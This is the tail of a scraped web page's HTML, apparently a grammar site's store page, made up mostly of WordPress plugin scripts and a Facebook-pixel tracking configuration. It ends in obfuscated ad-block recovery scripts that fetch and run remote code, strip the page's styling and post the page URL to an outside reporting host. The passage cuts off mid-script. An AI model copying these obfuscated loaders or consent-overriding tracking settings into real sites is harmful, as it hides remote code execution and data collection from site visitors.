2161<script type="text/rocketlazyloadscript" data-minify="1" id="uagb-loop-builder-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/spectra-pro/assets/js/loop-builder.js?ver=1789058374"></script>
vendor: 1 bytes, line 2161
2161
2162<script type="text/rocketlazyloadscript" id="rocket-browser-checker-js-after">
2163"use strict";var _createClass=function(){function defineProperties(target,props){for(var i=0;i<props.length;i++){var descriptor=props[i];descriptor.enumerable=descriptor.enumerable||!1,descriptor.configurable=!0,"value"in descriptor&&(descriptor.writable=!0),Object.defineProperty(target,descriptor.key,descriptor)}}return function(Constructor,protoProps,staticProps){return protoProps&&defineProperties(Constructor.prototype,protoProps),staticProps&&defineProperties(Constructor,staticProps),Constructor}}();function _classCallCheck(instance,Constructor){if(!(instance instanceof Constructor))throw new TypeError("Cannot call a class as a function")}var RocketBrowserCompatibilityChecker=function(){function RocketBrowserCompatibilityChecker(options){_classCallCheck(this,RocketBrowserCompatibilityChecker),this.passiveSupported=!1,this._checkPassiveOption(this),this.options=!!this.passiveSupported&&options}return _createClass(RocketBrowserCompatibilityChecker,[{key:"_checkPassiveOption",value:function(self){try{var options={get passive(){return!(self.passiveSupported=!0)}};window.addEventListener("test",null,options),window.removeEventListener("test",null,options)}catch(err){self.passiveSupported=!1}}},{key:"initRequestIdleCallback",value:function(){!1 in window&&(window.requestIdleCallback=function(cb){var start=Date.now();return setTimeout(function(){cb({didTimeout:!1,timeRemaining:function(){return Math.max(0,50-(Date.now()-start))}})},1)}),!1 in window&&(window.cancelIdleCallback=function(id){return clearTimeout(id)})}},{key:"isDataSaverModeOn",value:function(){return"connection"in navigator&&!0===navigator.connection.saveData}},{key:"supportsLinkPrefetch",value:function(){var elem=document.createElement("link");return elem.relList&&elem.relList.supports&&elem.relList.supports("prefetch")&&window.IntersectionObserver&&"isIntersecting"in IntersectionObserverEntry.prototype}},{key:"isSlowConnection",value:function(){return"connection"in navigator&&"effectiveType"in navigator.connection&&("2g"===navigator.connection.effectiveType||"slow-2g"===navigator.connection.effectiveType)}}]),RocketBrowserCompatibilityChecker}();
2164//# sourceURL=rocket-browser-checker-js-after
2165</script>
vendor: 1 bytes, line 2165
2165
2166<script id="rocket-preload-links-js-extra">
2167var RocketPreloadLinksConfig = {"excludeUris":"/wp-json/|/customer-dashboard/|/checkout/|/shop/|/mockup%20/website%20ph_apikey%20access_token/|/(?:.+/)?feed(?:/(?:.+/?)?)?$|/(?:.+/)?embed/|/(index.php/)?(.*)wp-json(/.*|$)|/recommends/","usesTrailingSlash":"1","imageExt":"jpg|jpeg|gif|png|tiff|bmp|webp|avif|pdf|doc|docx|xls|xlsx|php","fileExt":"jpg|jpeg|gif|png|tiff|bmp|webp|avif|pdf|doc|docx|xls|xlsx|php|html|htm","siteUrl":"https://grammarist.com","onHoverDelay":"100","rateThrottle":"3"};
2168//# sourceURL=rocket-preload-links-js-extra
2169</script>
vendor: 1 bytes, line 2169
2169
2170<script type="text/rocketlazyloadscript" id="rocket-preload-links-js-after">
2171(function() {
2172"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e=function(){function i(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}return function(e,t,n){return t&&i(e.prototype,t),n&&i(e,n),e}}();function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var t=function(){function n(e,t){i(this,n),this.browser=e,this.config=t,this.options=this.browser.options,this.prefetched=new Set,this.eventTime=null,this.threshold=1111,this.numOnHover=0}return e(n,[{key:"init",value:function(){!this.browser.supportsLinkPrefetch()||this.browser.isDataSaverModeOn()||this.browser.isSlowConnection()||(this.regex={excludeUris:RegExp(this.config.excludeUris,"i"),images:RegExp(".("+this.config.imageExt+")$","i"),fileExt:RegExp(".("+this.config.fileExt+")$","i")},this._initListeners(this))}},{key:"_initListeners",value:function(e){-1<this.config.onHoverDelay&&document.addEventListener("mouseover",e.listener.bind(e),e.listenerOptions),document.addEventListener("mousedown",e.listener.bind(e),e.listenerOptions),document.addEventListener("touchstart",e.listener.bind(e),e.listenerOptions)}},{key:"listener",value:function(e){var t=e.target.closest("a"),n=this._prepareUrl(t);if(null!==n)switch(e.type){case"mousedown":case"touchstart":this._addPrefetchLink(n);break;case"mouseover":this._earlyPrefetch(t,n,"mouseout")}}},{key:"_earlyPrefetch",value:function(t,e,n){var i=this,r=setTimeout(function(){if(r=null,0===i.numOnHover)setTimeout(function(){return i.numOnHover=0},1e3);else if(i.numOnHover>i.config.rateThrottle)return;i.numOnHover++,i._addPrefetchLink(e)},this.config.onHoverDelay);t.addEventListener(n,function e(){t.removeEventListener(n,e,{passive:!0}),null!==r&&(clearTimeout(r),r=null)},{passive:!0})}},{key:"_addPrefetchLink",value:function(i){return this.prefetched.add(i.href),new Promise(function(e,t){var n=document.createElement("link");n.rel="prefetch",n.href=i.href,n.onload=e,n.onerror=t,document.head.appendChild(n)}).catch(function(){})}},{key:"_prepareUrl",value:function(e){if(null===e||"object"!==(void 0===e?"undefined":r(e))||!1 in e||-1===["http:","https:"].indexOf(e.protocol))return null;var t=e.href.substring(0,this.config.siteUrl.length),n=this._getPathname(e.href,t),i={original:e.href,protocol:e.protocol,origin:t,pathname:n,href:t+n};return this._isLinkOk(i)?i:null}},{key:"_getPathname",value:function(e,t){var n=t?e.substring(this.config.siteUrl.length):e;return n.startsWith("/")||(n="/"+n),this._shouldAddTrailingSlash(n)?n+"/":n}},{key:"_shouldAddTrailingSlash",value:function(e){return this.config.usesTrailingSlash&&!e.endsWith("/")&&!this.regex.fileExt.test(e)}},{key:"_isLinkOk",value:function(e){return null!==e&&"object"===(void 0===e?"undefined":r(e))&&(!this.prefetched.has(e.href)&&e.origin===this.config.siteUrl&&-1===e.href.indexOf("?")&&-1===e.href.indexOf("#")&&!this.regex.excludeUris.test(e.href)&&!this.regex.images.test(e.href))}}],[{key:"run",value:function(){"undefined"!=typeof RocketPreloadLinksConfig&&new n(new RocketBrowserCompatibilityChecker({capture:!0,passive:!0}),RocketPreloadLinksConfig).init()}}]),n}();t.run();
2173}());
2174
2175//# sourceURL=rocket-preload-links-js-after
2176</script>
vendor: 1 bytes, line 2176
2176
2177<script id="rocket_lazyload_css-js-extra">
2178var rocket_lazyload_css_data = {"threshold":"300"};
2179//# sourceURL=rocket_lazyload_css-js-extra
2180</script>
vendor: 1 bytes, line 2180
2180
2181<script id="rocket_lazyload_css-js-after">
2182!function o(n,a,c){function l(t,e){if(!a[t]){if(!n[t]){var r="function"==typeof require&&require;if(!e&&r)return r(t,!0);if(u)return u(t,!0);throw(e=new Error("Cannot find module '"+t+"'")).code="MODULE_NOT_FOUND",e}r=a[t]={exports:{}},n[t][0].call(r.exports,function(e){return l(n[t][1][e]||e)},r,r.exports,o,n,a,c)}return a[t].exports}for(var u="function"==typeof require&&require,e=0;e<c.length;e++)l(c[e]);return l}({1:[function(e,t,r){{let r="undefined"==typeof rocket_pairs?[]:rocket_pairs,o=(("undefined"==typeof rocket_excluded_pairs?[]:rocket_excluded_pairs).map(t=>{var e=t.selector;document.querySelectorAll(e).forEach(e=>{e.setAttribute("data-rocket-lazy-bg-"+t.hash,"excluded")})}),document.querySelector("#wpr-lazyload-bg-container"));var a=rocket_lazyload_css_data.threshold||300;let n=new IntersectionObserver(e=>{e.forEach(t=>{t.isIntersecting&&r.filter(e=>t.target.matches(e.selector)).map(t=>{var e;t&&((e=document.createElement("style")).textContent=t.style,o.insertAdjacentElement("afterend",e),t.elements.forEach(e=>{n.unobserve(e),e.setAttribute("data-rocket-lazy-bg-"+t.hash,"loaded")}))})})},{rootMargin:a+"px"});function c(){0<(0<arguments.length&&void 0!==arguments[0]?arguments[0]:[]).length&&r.forEach(t=>{try{document.querySelectorAll(t.selector).forEach(e=>{"loaded"!==e.getAttribute("data-rocket-lazy-bg-"+t.hash)&&"excluded"!==e.getAttribute("data-rocket-lazy-bg-"+t.hash)&&(n.observe(e),(t.elements||=[]).push(e))})}catch(e){console.error(e)}})}c(),(()=>{let r=window.MutationObserver;return function(e,t){if(e&&1===e.nodeType)return(t=new r(t)).observe(e,{attributes:!0,childList:!0,subtree:!0}),t}})()(document.querySelector("body"),c)}},{}]},{},[1]);
2183//# sourceURL=rocket_lazyload_css-js-after
2184</script>
vendor: 1 bytes, line 2184
2184
2185<script type="text/rocketlazyloadscript" id="generate-menu-js-before">
2186var generatepressMenu = {"toggleOpenedSubMenus":true,"openSubMenuLabel":"Open Sub-Menu","closeSubMenuLabel":"Close Sub-Menu"};
2187//# sourceURL=generate-menu-js-before
2188</script>
vendor: 1 bytes, line 2188
2188
2189<script type="text/rocketlazyloadscript" id="generate-menu-js" data-rocket-src="https://grammarist.com/wp-content/themes/generatepress/assets/js/menu.min.js?ver=3.6.1"></script>
vendor: 1 bytes, line 2189
2189
2190<script type="text/rocketlazyloadscript" data-minify="1" id="generate-modal-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/themes/generatepress/assets/dist/modal.js?ver=1789058374"></script>
vendor: 1 bytes, line 2190
2190
2191<script type="text/rocketlazyloadscript" id="learndash-main-ns-extra">
2192window.learndash = window.learndash || {};
2193window.learndash.global = Object.assign(window.learndash.global || {}, {"ajaxurl":"https:\/\/grammarist.com\/wp-admin\/admin-ajax.php","scrollOffset":0});
2194</script>
2194<script type="text/rocketlazyloadscript" data-minify="1" id="learndash-main-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/src/assets/dist/js/main.js?ver=1789058374"></script>
vendor: 1 bytes, line 2194
2194
2195<script type="text/rocketlazyloadscript" id="learndash-breakpoints-ns-extra">
2196window.learndash = window.learndash || {};
2197window.learndash.views = window.learndash.views || {};
2198window.learndash.views.breakpoints = Object.assign(window.learndash.views.breakpoints || {}, {"list":{"mobile":375,"tablet":420,"extra-small":600,"small":720,"medium":960,"large":1240,"wide":1440}});
2199</script>
2199<script type="text/rocketlazyloadscript" data-minify="1" id="learndash-breakpoints-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/src/assets/dist/js/breakpoints.js?ver=1789058374"></script>
vendor: 1 bytes, line 2199
2199
2200<script id="learndash-front-js-extra">
2201var ldVars = {"postID":"108520","videoReqMsg":"You must watch the video before accessing this content","ajaxurl":"https://grammarist.com/wp-admin/admin-ajax.php"};
2202//# sourceURL=learndash-front-js-extra
2203</script>
vendor: 1 bytes, line 2203
2203
2204<script type="text/rocketlazyloadscript" data-minify="1" id="learndash-front-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/themes/ld30/assets/js/learndash.js?ver=1789058374"></script>
vendor: 1 bytes, line 2204
2204
2205<script id="quicktags-js-extra">
2206var quicktagsL10n = {"closeAllOpenTags":"Close all open tags","closeTags":"close tags","enterURL":"Enter the URL","enterImageURL":"Enter the URL of the image","enterImageDescription":"Enter a description of the image","textdirection":"text direction","toggleTextdirection":"Switch Editor Text Direction","dfw":"Distraction-free writing mode","strong":"Bold","strongClose":"Close bold tag","em":"Italic","emClose":"Close italic tag","link":"Insert link","blockquote":"Blockquote","blockquoteClose":"Close blockquote tag","del":"Deleted text (strikethrough)","delClose":"Close deleted text tag","ins":"Inserted text","insClose":"Close inserted text tag","image":"Insert image","ul":"Bulleted list","ulClose":"Close bulleted list tag","ol":"Numbered list","olClose":"Close numbered list tag","li":"List item","liClose":"Close list item tag","code":"Code","codeClose":"Close code tag","more":"Insert Read More tag"};
2207//# sourceURL=quicktags-js-extra
2208</script>
vendor: 1 bytes, line 2208
2208
2209<script type="text/rocketlazyloadscript" id="quicktags-js" data-rocket-src="https://grammarist.com/wp-includes/js/quicktags.min.js?ver=d60663a2436bce0587bbd7bc429f1221"></script>
vendor: 1 bytes, line 2209
2209
2210<script id="convertkit-admin-quicktags-js-extra">
2211var convertkit_quicktags = {"broadcasts":{"title":"Kit Broadcasts","icon":"resources/backend/images/block-icon-broadcasts.svg","attributes":{"display_grid":{"type":"boolean","default":false},"display_order":{"type":"string","default":"date-broadcast"},"date_format":{"type":"string","default":"F j, Y"},"display_image":{"type":"boolean","default":false},"display_description":{"type":"boolean","default":false},"display_read_more":{"type":"boolean","default":false},"read_more_label":{"type":"string","default":"Read more"},"limit":{"type":"number","default":10},"page":{"type":"number","default":1},"paginate":{"type":"boolean","default":false},"paginate_label_prev":{"type":"string","default":"Previous"},"paginate_label_next":{"type":"string","default":"Next"},"style":{"type":"object"},"backgroundColor":{"type":"string"},"textColor":{"type":"string"},"fontSize":{"type":"string"},"is_gutenberg_example":{"type":"boolean","default":false}},"render_callback":[{},"render"]},"content":{"title":"Kit Custom Content","icon":"resources/backend/images/block-icon-content.svg","attributes":{"tag":{"type":"string"}},"render_callback":[{},"render"]},"formtrigger":{"title":"Kit Form Trigger","icon":"resources/backend/images/block-icon-formtrigger.svg","attributes":{"form":{"type":"string","default":""},"text":{"type":"string","default":"Subscribe"},"style":{"type":"object"},"backgroundColor":{"type":"string"},"textColor":{"type":"string"},"fontSize":{"type":"string"},"is_gutenberg_example":{"type":"boolean","default":false}},"render_callback":[{},"render"]},"form":{"title":"Kit Form","icon":"resources/backend/images/block-icon-form.svg","attributes":{"form":{"type":"string"},"align":{"type":"string"},"style":{"type":"object"},"backgroundColor":{"type":"string"},"is_gutenberg_example":{"type":"boolean","default":false}},"render_callback":[{},"render"]},"login":{"title":"Kit Member Content Login","icon":"resources/backend/images/block-icon-login.svg","attributes":{"logged_in_text":{"type":"string","default":"You are logged in."},"logout_button_label":{"type":"string","default":"Log out"},"style":{"type":"object"},"backgroundColor":{"type":"string"},"textColor":{"type":"string"},"fontSize":{"type":"string"},"is_gutenberg_example":{"type":"boolean","default":false}},"render_callback":[{},"render"]},"product":{"title":"Kit Product","icon":"resources/backend/images/block-icon-product.svg","attributes":{"product":{"type":"string","default":""},"text":{"type":"string","default":"Buy my product"},"discount_code":{"type":"string","default":""},"checkout":{"type":"boolean","default":false},"disable_modal_on_mobile":{"type":"boolean","default":false},"style":{"type":"object"},"backgroundColor":{"type":"string"},"textColor":{"type":"string"},"fontSize":{"type":"string"},"is_gutenberg_example":{"type":"boolean","default":false}},"render_callback":[{},"render"]}};
2212var convertkit_admin_tinymce = {"ajaxurl":"https://grammarist.com/wp-json/kit/v1/editor/tinymce/modal","nonce":"625323a4ee"};
2213//# sourceURL=convertkit-admin-quicktags-js-extra
2214</script>
vendor: 1 bytes, line 2214
2214
2215<script type="text/rocketlazyloadscript" data-minify="1" id="convertkit-admin-quicktags-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/convertkit/resources/backend/js/quicktags.js?ver=1789058374"></script>
vendor: 1 bytes, line 2215
2215
2216<script type="text/rocketlazyloadscript" id="jquery-bind-first-js" defer data-rocket-src="https://grammarist.com/wp-content/plugins/pixelyoursite/dist/scripts/jquery.bind-first-0.2.3.min.js?ver=0.2.3"></script>
vendor: 1 bytes, line 2216
2216
2217<script type="text/rocketlazyloadscript" id="js-cookie-pys-js" defer data-rocket-src="https://grammarist.com/wp-content/plugins/pixelyoursite/dist/scripts/js.cookie-2.1.3.min.js?ver=2.1.3"></script>
vendor: 1 bytes, line 2217
2217
2218<script type="text/rocketlazyloadscript" data-minify="1" id="js-sha256-js" defer data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/pixelyoursite/dist/scripts/sha256.js?ver=1789058374"></script>
vendor: 1 bytes, line 2218
2218
2219<script type="text/rocketlazyloadscript" id="js-tld-js" defer data-rocket-src="https://grammarist.com/wp-content/plugins/pixelyoursite/dist/scripts/tld.min.js?ver=2.3.1"></script>
vendor: 1 bytes, line 2219
2219
2220<script id="pys-js-extra">
2221var pysOptions = {"staticEvents":{"facebook":{"init_event":[{"delay":0,"type":"static","ajaxFire":false,"name":"PageView","pixelIds":["1141131243559645"],"eventID":"f0f81be0-f960-48e4-9031-24b37685948f","params":{"page_title":"Shop","post_type":"page","post_id":108520,"plugin":"PixelYourSite","user_role":"guest","event_url":"grammarist.com/store/"},"e_id":"init_event","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":"","order_key":""}]}},"dynamicEvents":[],"triggerEvents":[],"triggerEventTypes":[],"facebook":{"pixelIds":["1141131243559645"],"advancedMatching":{"external_id":"ffdeefbcebbabffbbee"},"advancedMatchingEnabled":true,"removeMetadata":false,"wooVariableAsSimple":false,"serverApiEnabled":true,"metaEnabledCapiPixels":["1141131243559645"],"sendEventId":true,"send_external_id":null,"enabled_medical":false,"do_not_track_medical_param":["event_url","post_title","page_title","landing_page","content_name","categories","category_name","tags"],"meta_ldu":false},"debug":"","siteUrl":"https://grammarist.com","ajaxUrl":"https://grammarist.com/wp-admin/admin-ajax.php","ajax_event":"563e60e453","enable_remove_download_url_param":"1","cookie_duration":"7","last_visit_duration":"60","enable_success_send_form":"","ajaxForServerEvent":"1","ajaxForServerStaticEvent":"1","useSendBeacon":"1","send_external_id":"1","external_id_expire":"180","track_cookie_for_subdomains":"1","google_consent_mode":"1","consent_mode_cmp_active":"","gdpr":{"ajax_enabled":false,"all_disabled_by_api":false,"facebook_disabled_by_api":false,"analytics_disabled_by_api":false,"google_ads_disabled_by_api":false,"pinterest_disabled_by_api":false,"bing_disabled_by_api":false,"reddit_disabled_by_api":false,"openai_disabled_by_api":false,"externalID_disabled_by_api":false,"facebook_prior_consent_enabled":true,"analytics_prior_consent_enabled":true,"google_ads_prior_consent_enabled":null,"pinterest_prior_consent_enabled":true,"bing_prior_consent_enabled":true,"openai_prior_consent_enabled":true,"cookiebot_integration_enabled":false,"cookiebot_facebook_consent_category":"marketing","cookiebot_analytics_consent_category":"statistics","cookiebot_tiktok_consent_category":"marketing","cookiebot_google_ads_consent_category":"marketing","cookiebot_pinterest_consent_category":"marketing","cookiebot_bing_consent_category":"marketing","cookiebot_openai_consent_category":"marketing","consent_magic_integration_enabled":false,"real_cookie_banner_integration_enabled":false,"cookie_notice_integration_enabled":false,"cookie_law_info_integration_enabled":false,"analytics_storage":{"enabled":true,"value":"granted","filter":false},"ad_storage":{"enabled":true,"value":"granted","filter":false},"ad_user_data":{"enabled":true,"value":"granted","filter":false},"ad_personalization":{"enabled":true,"value":"granted","filter":false}},"cookie":{"disabled_all_cookie":false,"disabled_start_session_cookie":false,"disabled_advanced_form_data_cookie":false,"disabled_landing_page_cookie":false,"disabled_first_visit_cookie":false,"disabled_trafficsource_cookie":false,"disabled_utmTerms_cookie":false,"disabled_utmId_cookie":false},"tracking_analytics":{"TrafficLanding":"","TrafficUtms":[],"TrafficUtmsId":[]},"GATags":{"ga_datalayer_type":"default","ga_datalayer_name":"dataLayerPYS"},"woo":{"enabled":false},"edd":{"enabled":false},"cache_bypass":"1790203791"};
2222//# sourceURL=pys-js-extra
2223</script>
vendor: 1 bytes, line 2223
2223
2224<script type="text/rocketlazyloadscript" data-minify="1" id="pys-js" defer data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/pixelyoursite/dist/scripts/public.js?ver=1789058374"></script>
2224
2225		
2225<script type="text/template" id="tmpl-convertkit-quicktags-modal">
2226			<div id="convertkit-quicktags-modal">
2227				<div class="media-frame-title"><h1></h1></div>
2228				<div class="media-frame-content"></div>
2229				<div class="media-frame-toolbar">
2230					<div class="media-toolbar">
2231						<div class="media-toolbar-secondary">
2232							<button type="button" class="button button-large cancel">Cancel</button>
2233						</div>
2234						<div class="media-toolbar-primary">
2235							<button type="button" class="button button-primary button-large">Insert</button>
2236						</div>
2237					</div>
2238				</div>
2239			</div>
2240		</script>
2240
2241		
2241<script type="application/json" fncls="fnparams-dede7cc5-15fd-4c75-a9f4-36c430ee3a99">
2242	{"f":"f97fb4342b18412b97098bfdd0c9e36e","s":"_108520","sandbox":false}</script>
2242
2243<div  style="position:absolute;margin:-1px;padding:0;height:1px;width:1px;overflow:hidden;clip-path:inset(50%);border:0;word-wrap:normal !important;"><p id="a11y-speak-intro-text" class="a11y-speak-intro-text" hidden>Notifications</p><div  id="a11y-speak-assertive" class="a11y-speak-region" aria-live="assertive" aria-relevant="additions text" aria-atomic="true"></div><div  id="a11y-speak-polite" class="a11y-speak-region" aria-live="polite" aria-relevant="additions text" aria-atomic="true"></div></div>
2243<script data-no-optimize='1' data-cfasync='false' id='adblock-detection-cbeddd4'>(function(){(function(e){if(e.cookie.indexOf(`__adblocker`)===-1){let t=!1,n=function(){t=!0};window.addEventListener(`pagehide`,n);let r=navigator.userAgent,i=/AppleWebKit/.test(r)&&!/Chrome/.test(r)||/\b(iPad|iPhone|iPod)\b/.test(r),a=new XMLHttpRequest;a.open(`GET`,`https://ads.adthrive.com/abd/abd.js`,!0),a.onreadystatechange=function(){if(a.readyState===4){if(window.removeEventListener(`pagehide`,n),a.status===200){let t=e.createElement(`script`);t.innerHTML=a.responseText,e.getElementsByTagName(`head`)[0].appendChild(t);return}if(!navigator.onLine||t||i&&e.visibilityState===`hidden`)return;let r=new Date;r.setTime(r.getTime()+300*1e3),e.cookie=`__adblocker=true; expires=`+r.toUTCString()+`; path=/`}},a.send()}})(document)})();</script>
2243<script data-no-optimize='1' data-cfasync='false' data-abr-mode='light' id='adblock-recovery-cbeddd4'>(function(){(function(){var e=document.currentScript,t=e&&e.dataset&&e.dataset.abrMode?e.dataset.abrMode:`light`;function n(){var e=document.cookie.match(`(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)`);return e&&e.pop()}function r(){var e=document.createElement(`script`);e.async=!0,e.id=`Tqgkgu`,e.setAttribute(`data-sdk`,`l/1.1.15`),e.setAttribute(`data-cfasync`,`false`),e.src=`https://html-load.com/loader.min.js`,e.charset=`UTF-8`,e.setAttribute(`data`,`kfpvgbrkab9r4a5rkrqrkwagrw6rzrv8rxag0asrka5abaoagrxa5srxrxabasrkrvabaoaxrx0asrkabrxfaba1raa5a5asrkr9wa1agrw6rzr9rkaia8`),e.setAttribute(`onload`,`(async()=>{let e='html-'+'load.com';const t=window,a=document,r=e=>new Promise((t=>{const a=.1*e,r=e+Math.floor(2*Math.random()*a)-a;setTimeout(t,r)})),o=t.addEventListener.bind(t),n=t.postMessage.bind(t),s=btoa,i='message',l=location,c=Math.random;try{const t=()=>new Promise(((e,t)=>{let a=c().toString(),r=c().toString();o(i,(e=>e.data===a&&n(r,'*'))),o(i,(t=>t.data===r&&e())),n(a,'*'),setTimeout((()=>{t(Error('Timeout'))}),1231)})),a=async()=>{try{let e=!1;const a=c().toString();if(o(i,(t=>{t.data===a+'_as_res'&&(e=!0)})),n(a+'_as_req','*'),await t(),await r(500),e)return!0}catch(e){}return!1},s=[100,500,1e3];for(let o=0;o<=s.length&&!await a();o++){if(o===s.length-1)throw'Failed to load website properly since '+e+' is tainted. Please allow '+e;await r(s[o])}}catch(d){try{const e=a.querySelector('script#Tqgkgu').getAttribute('onerror');t[s(l.hostname+'_show_bfa')]=d,await new Promise(((t,r)=>{o('message',(e=>{'as_modal_loaded'===e.data&&t()})),setTimeout((()=>r(d)),3e3);const n=a.createElement('script');n.innerText=e,a.head.appendChild(n),n.remove()}))}catch(m){(t=>{const a='https://report.error-report.com/modal';try{confirm('There was a problem loading the page. Please click OK to learn more.')?l.href=a+'?url='+s(l.href)+'&error='+s(t)+'&domain='+e:l.reload()}catch(d){location.href=a+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+e}})(d)}}})();`),e.setAttribute(`onerror`,`(async()=>{const e=window,t=document;let r=JSON.parse(atob('WyJodG1sLWxvYWQuY29tIiwiZmIuaHRtbC1sb2FkLmNvbSIsImQzN2o4cGZ4dTJpb2dpLmNsb3VkZnJvbnQubmV0IiwiY29udGVudC1sb2FkZXIuY29tIiwiZmIuY29udGVudC1sb2FkZXIuY29tIl0=')),o=r[0];const a='addEventListener',n='setAttribute',s='getAttribute',i=location,l=clearInterval,c='as_retry',d=i.hostname,h=e.addEventListener.bind(e),m=btoa,u='https://report.error-report.com/modal',b=e=>{try{confirm('There was a problem loading the page. Please click OK to learn more.')?i.href=u+'?url='+m(i.href)+'&error='+m(e)+'&domain='+o:i.reload()}catch(t){location.href=u+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+o}},p=async e=>{try{localStorage.setItem(i.host+'_fa_'+m('last_bfa_at'),Date.now().toString())}catch(p){}setInterval((()=>t.querySelectorAll('link,style').forEach((e=>e.remove()))),100);const r=await fetch('https://error-report.com/report?type=loader_light&url='+m(i.href)+'&error='+m(e),{method:'POST'}).then((e=>e.text())),a=new Promise((e=>{h('message',(t=>{'as_modal_loaded'===t.data&&e()}))}));let s=t.createElement('iframe');s.src=u+'?url='+m(i.href)+'&eventId='+r+'&error='+m(e)+'&domain='+o,s[n]('style','width:100vw;height:100vh;z-index:2147483647;position:fixed;left:0;top:0;');const c=e=>{'close-error-report'===e.data&&(s.remove(),removeEventListener('message',c))};h('message',c),t.body.appendChild(s);const d=setInterval((()=>{if(!t.contains(s))return l(d);(()=>{const e=s.getBoundingClientRect();return'none'!==getComputedStyle(s).display&&0!==e.width&&0!==e.height})()||(l(d),b(e))}),1e3);await new Promise(((t,r)=>{a.then(t),setTimeout((()=>r(e)),3e3)}))},f=m(d+'_show_bfa');if(e[f])p(e[f]);else try{if(void 0===e[c]&&(e[c]=0),e[c]>=r.length)throw'Failed to load website properly since '+o+' is blocked. Please allow '+o;if((()=>{const t=e=>{let t=0;for(let r=0,o=e.length;o>r;r++)t=(t<<5)-t+e.charCodeAt(r),t|=0;return t},r=Date.now(),o=r-r%864e5,a=o-864e5,n=o+864e5,s='loader-check',i='as_'+t(s+'_'+o),l='as_'+t(s+'_'+a),c='as_'+t(s+'_'+n);return i!==l&&i!==c&&l!==c&&!!(e[i]||e[l]||e[c])})())return;const i=t.querySelector('#Tqgkgu'),l=t.createElement('script');for(let e=0;e<i.attributes.length;e++)l[n](i.attributes[e].name,i.attributes[e].value);const h=m(d+'_onload');e[h]&&l[a]('load',e[h]);const u=m(d+'_onerror');e[u]&&l[a]('error',e[u]);const b=new e.URL(i[s]('src'));b.host=r[e[c]++],l[n]('src',b.href),i[n]('id',i[s]('id')+'_'),i.parentNode.insertBefore(l,i),i.remove()}catch(w){try{await p(w)}catch(w){b(w)}}})();`),document.head.appendChild(e);var t=document.createElement(`script`);t.setAttribute(`data-cfasync`,`false`),t.setAttribute(`nowprocket`,``),t.textContent=`(async()=>{function t(t) { const e = t.length; let o = ''; for (let r = 0; e > r; r++) { o += t[2939 * (r + 20) % e] } return o }const e=window,o=t('Elementcreate'),r=t('pielnddaCph'),n=t('erdeLtedvtsnaEni'),c=t('tAtesetubirt'),a=document,i=a.head,s=a[o].bind(a),d=i[r].bind(i),l=location,m=l.hostname,h=btoa;e[n].bind(e);let u=t('oad.comhtml-l');(async()=>{try{const n=a.querySelector(t('#Tqgkguscript'));if(!n)throw t('onnaC dnif t')+u+t('i.cp rts');const i=n.getAttribute(t('nororre')),f=n.getAttribute(t('aolnod')),p=await new Promise((o=>{const r=t('x')+Math.floor(1e6*Math.random());e[r]=()=>o(!0);const n=s(t('pircst'));n.src=t(':atad;'),n[c](t('nororre'),t('iw.wodn')+r+t('()')),d(n),setTimeout((()=>{o(!1), n.remove()}),251)}));if(p)return;function o(){const e=s(t('pircst'));e.innerText=i,d(e),e.remove()}const b=h(m+t('o_daoln')),w=h(m+t('rrnr_eoo'));e[b]=function(){const e=s(t('pircst'));e.innerText=f,d(e),e.remove()},e[w]=o,o()}catch(r){(e => { const o = t('ro/treeol/t-.dsoormterpmh/.rca:rrtopp'); try { const r = t('cleopr   eges.eke aremtc. m Ta apdo ool t ahrOsaibwr iPhl enKegnlael'); confirm(r) ? l.href = o + t('?=lru') + h(l.href) + t('e&=rorr') + h(e) + t('a=oi&mnd') + u : l.reload() }
2243 catch (r) { location.href = o + t('J%ndVVNdvrYGQiI=Q2&ee0IWatrgbD?&lJZmnows3==mBroerW') + u } })(r)}})()})();`,document.head.appendChild(t)}function i(){var e=document.createElement(`script`);e.setAttribute(`data-cfasync`,`false`),e.dataset.domain=`html-load.cc`,e.textContent=`(function(){function p(){const 